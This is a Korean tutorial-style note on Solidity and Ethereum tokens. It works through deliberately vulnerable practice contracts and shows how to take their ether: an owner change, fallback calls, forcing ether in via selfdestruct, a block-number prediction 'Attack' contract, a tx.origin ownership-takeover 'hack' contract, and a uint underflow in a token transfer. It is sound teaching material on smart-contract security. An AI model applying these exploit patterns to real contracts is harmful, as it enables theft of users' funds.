이더리움 토큰


.png)
.png)
토큰은 소각개념이 아니고 발행량을 수정할 수 있다. 코인에 비해 자유로운 관리가 가능한데, 이는 코인과 달리 토큰의 모든것이 컨트랙트 속 storage부분에 의해 정해지기 때문이다.
.cf) 이더리움의 경우 특정한 상황으로 인해 이더를 소각해야할 경우 아무 주소에나 버리는 방식으로 소각이 가능하지만, 그 누구도 개인키를 가지고 있지않은 deadcontract에 보내는 방식으로 소각하기로 정한 합의가 존재한다. deadcontract 는 16진수 주소값에 끝부분에 ~dead 형식의 contract인데 만약에 누군가가 이곳의 개인키를 알아내게 된다면 그 동안에 그곳에 버린 이더들을 모두 갖게되는것이다.
컨트랙트 예제
pragma solidity 0.8.6;
contract test {
address Owner;
uint public bal;
constructor() public payable {
Owner = msg.sender;
bal = msg.value;
}
function withdraw() public {
require(msg.sender == Owner);
payable(msg.sender).transfer(address(this).balance);
}
}
⇒ 컨트랙트 안에 이더를 담아서 생성하는 방법. 그러나 withdraw 함수를 적지 않을 경우 담기만 하고 나중에 그 이더를 뺄 수 없기때문에 원 소유자의 주소를 정해두고, withdraw 함수와 같은 함수를 넣어야만 원 주인의 주소와 비교하여 일치하는 경우에만 빼올 수 있다.
cf). 컨트랙트 코드들을 remix에 입력후에 deploy가 아닌 at address 부분에 코드별 상단에 적힌 해시주소을 입력하면 배포된 컨트랙트의 정보를 읽을 수 있다. deploy를 하게되면 새로 컨트랙트를 배포하는 것이므로 상단의 코드가 아닌 자신이 배포한 새로운 컨트랙트의 주소를 입력해야한다.
// address : 0xF9013155Ff470412e8BA77de4226197f75a6E5aD
pragma solidity 0.8.6;
contract Test1 {
uint nonce;
constructor(uint _nonce) payable {
nonce = _nonce;
}
function getNonce() public view returns (uint) {
return nonce;
}
function withdraw(uint _nonce) public {
require(nonce == _nonce);
payable(msg.sender).transfer(address(this).balance);
}
}
생성자가 처음에 nonce를 지정한다. 이후 다른 사용자도 getNonce라는 view속성의 함수를 이용해서 컨트랙트가 생성될때 지정된 nonce값을 볼 수 있게되고, 안에 들어있는 이더를 가져오는withdraw함수를 성공적으로 실행시키기 위해서는 앞서 확인한 nonce 값과 똑같은 값을 nonce 변수란에 입력해야만 한다. 여기서 require 속성은 선언한 조건을 통과해야만 함수의 다음 부분으로 진행이되고, 충족되지 않으면 실행이 거부된다.
//address: 0x1c2BE7d7dc0B02d354F3cc131b440064077f65a0
pragma solidity 0.8.6;
contract Test2 {
address owner;
constructor() payable {
owner = msg.sender;
}
function changeOwner() public {
owner = msg.sender;
}
function withdraw() public {
payable(owner).transfer(0.001 ether);
}
}
처음에는 생성자의 주소로 owner가 지정되어 withdraw함수를 호출해도 다시 처음 생성자의 account로 이더가 전송된다. 해당 이더를 자신에게 가져오기 위해서는 changeOwner함수를 실행하여 자신의 주소로 owner를 바꾸고, 그 이후에 withdraw를 실행하여야 한다. 다만, 주의해야할 점은 자신말고도 다른 사람들이 changeOwner함수를 실행할 경우 자신보다 나중에 실행한 사람의 주소로 owner가 바뀌는 것에 주의해야한다.
// 0x70036dc3Cb3c36a1CdCFbf8765cC00B94a12a450
pragma solidity 0.8.6;
contract Test3 {
constructor() payable {
}
fallback() external {
payable(msg.sender).transfer(address(this).balance);
}
}
위 함수는 컨트랙트 생성자가 초기에 담아놓은 이더만 담고 있고 이를 빼내는 기능만 갖고 있는데, 특정한 함수를 호출하여 빼낼 수 있는것이 아니고, fallback함수의 특성을 이용하여야 한다. fallback함수는 해당 컨트랙트에서 처리할 수 없거나, 읽을 수 없는 값이 들어올 경우 실행되는 특이한 함수로, 예를 들면 자신의 공개키 주소나 해당 컨트랙트의 해시주소 등을 입력할 경우 실행 된다. fallback함수를 성공적으로 실행 시킬경우 함수 실행자의 주소(msg.sender)로 담겨져 있던 이더가 들어오게된다.
// 0x488499d64Ea06E6A7192946e43fF9097F772fCE2
pragma solidity 0.8.6;
contract Test4 {
uint balance;
constructor() payable {
balance = msg.value;
}
fallback() external payable {
require(msg.value >= balance);
payable(msg.sender).transfer(address(this).balance);
}
}
fallback함수 응용버전인데, 같은 방법으로 fallback함수를 실행시키되, 안에 설정된 조건을 맞춰줘야만 자신에게 이더가 전송되도록 할 수 있다. 위의 경우 컨트랙트 배포자가 처음 설정한 value 값보다 높은 값을 보내야만 fallback함수의 require부분을 충족시켜서 성공적으로 전송이 이루어진다.
// 0x8F8cD5B850a1B0744B14c53A59B35A8bb4ab4256
pragma solidity 0.8.6;
contract Test5 {
mapping(address => uint) count;
uint nonce;
constructor(uint _n) payable {
nonce = _n;
}
function getCount() view public returns (uint){
return count[msg.sender];
}
function getNonce() view public returns (uint){
return nonce;
}
function addCount() public {
count[msg.sender]++;
}
function withdraw() public {
require(count[msg.sender] == nonce);
payable(msg.sender).transfer(address(this).balance);
}
fallback() external {
}
}
위의 경우는 처음에 생성자가 지정한 nonce값만큼 addcount함수를 통해 count를 늘려 count와 nonce의 값이 동일하게 만들어주고, 그 뒤에 withdraw함수를 실행해야만 성공적으로 이더 회수가 가능하다.
// 0xF1895232940b1eA9DfFc5927DC005A4f198BD5F7
pragma solidity 0.8.6;
contract Test6 {
constructor() payable {
}
function destroy() public {
selfdestruct(payable(msg.sender));
}
}
selfdestruct 속성의 경우 말그대로 자체파괴하는 특징을 가졌는데, 그렇다고 컨트랙트 자체를 지우는 것은 아니고, 이전의 기록들은 Trx에서 확인이 가능하지만 selfdestruct가 선언된 시점 이후의 함수들은 실행이 되지 않는다. 다른 함수들과 마찬가지로 컨트랙트는 배포시에 함수가 담겨있지 않으면 추후에 추가, 수정이 되지 않기 때문에 이러한 기능을 배포시에 담는것이 중요하고, 실무에서는 selfdestruct라는 함수를 사용할 수 있는 권한이 누구에게 주어져있는지를 반드시 확인해야만 한다.
추가적인 특징으로는 위의 경우와 같이 transfer를 적지 않고 selfdestruct(payable(msg.sender) 또는 selfdestruct(해시주소) 등을 통해 파괴후 안에 들어있는 이더를 전송할 수 있으며, 계정이 아닌 다른 컨트랙트로도 전송할 수 있다는 독특한 특징이 있다. 예를 들어 selfdestruct를 실행하면 위의 test6은 멈추지만, test100이라는 다른 컨트랙트가 존재했다는 가정하에, selfdestruct(test100)이라고 입력하면 파괴된 후에 test100으로 잔액이 이동하게 된다. 주목할 점은 test100에 payable이라는 속성이 없어도, 컨트랙트가 생성된 후여도, test6의 남은 잔액을 이어받을 수 있다는 점이다.
pragma solidity 0.8.6;
contract Test7 {
constructor() payable {
}
function withdraw() public {
require(address(this).balance >= 1 ether);
payable(msg.sender).transfer(address(this).balance);
}
}
위의 컨트랙트 같은 경우 생성자가 0.5이더를 안에 value로 지정한 상태이다. withdraw 조건문을 보면 1이더 이상일경우에만 withdraw가 정상적으로 실행되는데, 문제는 배포당시 add ~payable 등의 이더를 추가로 넣을 수 있는 기능이 없는 상황이다. 이럴 경우 새로운 컨트랙트안에 selfdestruct 속성을 지닌 함수를 설정하여 파괴될 시 test7의 컨트랙트 주소로 잔여 이더가 전송되도록 한다. 중요한 점은 배포할때 0.5이더 이상의 값, 500 finney와 같은 값을 넣어서 생성하여 파괴될 때의 잔여이더가 전송되면 test7에 있게되는 이더의 값이 1이 넘도록 value를 잘 설정하는 것이다.
그래서 잘 전송이되었을 경우, 다시 test7의 컨트랙트로 가서 withdraw를 시행한다면 조건이 충족되어 정상적인 회수가 가능해진다.
※ remix에서 하나의 문서에 여러개의 컨트랙트가 존재해도 deploy 위의 contract 드롭다운에서 개별적으로 선택하여 배포를 해야만 해당 컨트랙트가 배포되는것이다.
pragma solidity 0.8.6;
contract Test8 {
string public name = "vitalik";
function setName(string memory _n) public {
name = _n;
}
}
contract Test9 {
function sn(string memory _n) public {
Test8(참조할 컨트랙트의 주소 = test8주소).setName(_n);
}
}
test8이 배포된 상황에서 test9에서 test8을 호출하여에 배포된 함수를 사용할 수 있다. test8을 배포하고 이름을 바꿔놓아도, test9을 배포하고 이후에 참조한 함수로 이름을 바꾸게 되면 test8에서 갖는 이름은 test9에서 바꿔놓은 값으로 남게된다.이처럼 public으로 설정해놓은 경우 어디서나 컨트랙트의 값 변경이 가능한 상태가 되므로 private 설정을 통해 값 변경을 막을 수 있다.
※컨트랙트의 주소를 remix에 입력할때나, 참조하여 사용할때 다른 컨트랙트 주소로 잘못 입력되지 않도록 하는것이 중요하다.
//0x688c0611a5691B7c1F09a694bf4ADfb456a58Cf7
pragma solidity 0.8.6;
contract Test11 {
mapping(address => uint) public txCount;
mapping(address => uint) public win;
function gamble(bool _answer) public {
uint blockNum = block.number;
bool answer;
if(blockNum % 2 == 1){
answer = true;
} else if (blockNum % 2 == 0) {
answer = false;
}
txCount[msg.sender]++;
if(answer == _answer){
win[msg.sender]++;
}
}
}
contract Attack {
function hack() public {
uint blockNum = block.number;
bool answer;
if(blockNum % 2 == 1){
answer = true;
} else if (blockNum % 2 == 0) {
answer = false;
}
Test11(0x688c0611a5691B7c1F09a694bf4ADfb456a58Cf7).gamble(answer);
}
}
test11에서는 gamble함수를 통해 블록 넘버의 홀짝을 맞춰볼 수 있는 기능이 구현되어 있다. txCount는 gamble을 시도한 횟수를 표시하고, win은 맞추는데 성공한 횟수를 표시한다. 자체적인 체인 (remix에서 javaScript VM berlin Env) 내에서는 자신만 블록을 생성하기 때문에 블록을 예측하고 홀짝을 맞추기가 쉽지만, 테스트넷이나 메인넷의 경우 블록넘버를 맞추기가 힘들다. 시도한 횟수와 성공한 횟수를 똑같게 만들기 위해서는 위의 attack 컨트랙트와 같은 다른 컨트랙트의 함수를 참조호출하는 컨트랙트를 만들고 실행시켜야한다. 이 방법이 가능한 이유는 두 컨트랙트가 독립적으로 존재하지만 attack의 함수를 호출하는것은 test11에서 함수를 호출하는것과 같은 방식이기 때문이다. attack의 함수 호출 또한 txCount, win 을 조회하는 것과 같은 블록내에 형성되기 때문이다. 따라서 attack에 gamble함수를 호출해서 사용하는 경우 호출함수의 변수 answer부분에 이미 정답을 투입하는 것과 같은 것이 된다. 따라서 호출함수를 사용한 횟수는 txCount의 횟수와 같이 카운트가 되고, 이 모든 gamble은 정답이기 때문에 win의 횟수도 동일 값을 갖게되는 것이다.
pragma solidity 0.8.6;
contract Test12 {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if(tx.origin != msg.sender){
owner = _owner;
}
}
}
contract mine {
function hack() public {
Test12(0xdba86fcF223DB3eD1fCD9015E064eb751EB57245).changeOwner(msg.sender);
}
}
tx.origin 속성은 컨트랙트를 배포한 EOA의 주소를 가져오는 속성이다.
위의 경우 test12의 owner는 배포자 msg.sender로 배포자의 주소가 찍혀있는 상황이고, 자신이 다른 컨트랙트 mine을 배포하고 mine에 test12의 함수를 참조하여 호출할 경우 test12의 change owner속 tx.origin은 자신의 주소가 입력되고, change owner속 msg.sender에는 함수를 호출시킨 mine 컨트랙트의 주소가 불러와진다. 여기서 mine컨트랙트에서 참조호출할 당시 변수값으로 지정한 msg.sender는 본인의 주소이므로, 최종적으로 _owner가 내 주소로 변경되어, owner가 새롭게 내 주소로 변경되게 된다.
pragma solidity 0.8.6;
contract Test13 {
address public txorigin;
address public msgsender;
constructor() {
txorigin = tx.origin;
msgsender = msg.sender;
}
function changeTxorigin() public {
txorigin = tx.origin;
msgsender = msg.sender;
}
}
contract Test14 {
function change() public {
Test13(0x7EF2e0048f5bAeDe046f6BF797943daF4ED8CB47).changeTxorigin();
}
}
위의 경우도 마찬가지이다. 호출함수를 사용하면 tx. origin에는 test14의 원 배포자의 EOA가 로딩되고, msg.sender에는 test14의 컨트랙트 주소가 로딩된다.
컨트랙트 설계시 취약점 예제
// 0x3310a91295391781b2639028a9008ac9Dfea3FAbq
pragma solidity 0.6.0;
contract Test15 {
mapping(address => uint) balances;
constructor(uint _initialSupply) public {
balances[msg.sender] = _initialSupply;
}
function balanceOf(address _owner) public view returns (uint){
return balances[_owner];
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
}
위 컨트랙트는 간단한 토큰을 생성하여 배포하는 컨트랙트의 일종이다. 얼핏보기에는 transfer함수를 통해 토큰을 주고 받고, 그 과정속에 require를 통해 전송 조건 또한 잘 설계해 놓은 것 처럼 보이지만, uint라는 속성은 (-)부호, 즉 0보다 작은 값을 갖게 될 경우 음수의 값을 갖는것이 아니라 승수개념으로 상당히 큰값으로 변하게 된다.(언더플로우) 따라서 require로 조건을 설정을 통해 토큰을 지닌 사람만 거래가 가능할 수 있도록 하려했지만, 현실은 토큰이 없어도 누구나 토큰을 주고 받을 수 있게 된 것이다.
생성자의 주소로 진행하는 경우
생성자 본인의 주소와 10의 value로 transfer를 진행할 경우 require는 정상적으로 통과가 되고, 10을 빼고 다시 10을 더해주는 과정으로 결과값으로는 변화가 없는 모습이된다.그러나 만약 value에 29라는 값을 넣고 transfer를 진행하게 되면 -9의 언더플로우값으로 require를 통과하게 되고, -9의 언더플로우 값만큼 상당히 큰 수를 balance에 더한 후, 20만큼을 다시 더하게 된다.
타인의 주소로 진행하는 경우
만약 A라는 주소와 10이라는 value로 B가 transfer를 서명하여 진행할 경우 B는 msg.sender로 토큰이 없어도 -10이 언더플로우된 값으로 require가 통과가 되고, -value값 만큼 빠지는 것이 아니라 언더플로우가 된 상당히 큰 수치만큼의 토큰이 생성된다. A에게는 + value로 원래 입력했던만큼의 10만큼의 value가 추가된다.
만약 A라는 타인이 자신의 주소와 10이라는 value로 A가 transfer를 서명하여 진행할 경우 A는 토큰이 없는 상태여도 -10만큼의 언더플로우 값으로 require를 통과하고, 10만큼의 value는 +10과 -10의 제로섬으로 A의 balances에는 변화가 없는 상태로 보이게 된다.
주목할 점은 uint의 속성으로 인한 언더플로우로 require부분의 조건문이 취약점이 되었다는 것과, 토큰의 속성에 대하여 제대로된 이해가 필요하다는 점이다. 토큰은 앞서 말한 것 처럼 코인과 달리 컨트랙트 내 storage에만 형성된 것이기 때문에 위의 경우 그럴듯 해보이는 balances나 조건문들, 기타 속성들을 비롯하여 상세한 설정들까지 생성자가 정확하게 지정을 해놓아야 한다. (위 토큰에서 balances는 정해진 속성이 아니기 때문에 BBB나 Blablance 등으로 생성자 마음대로 지정이 가능하다)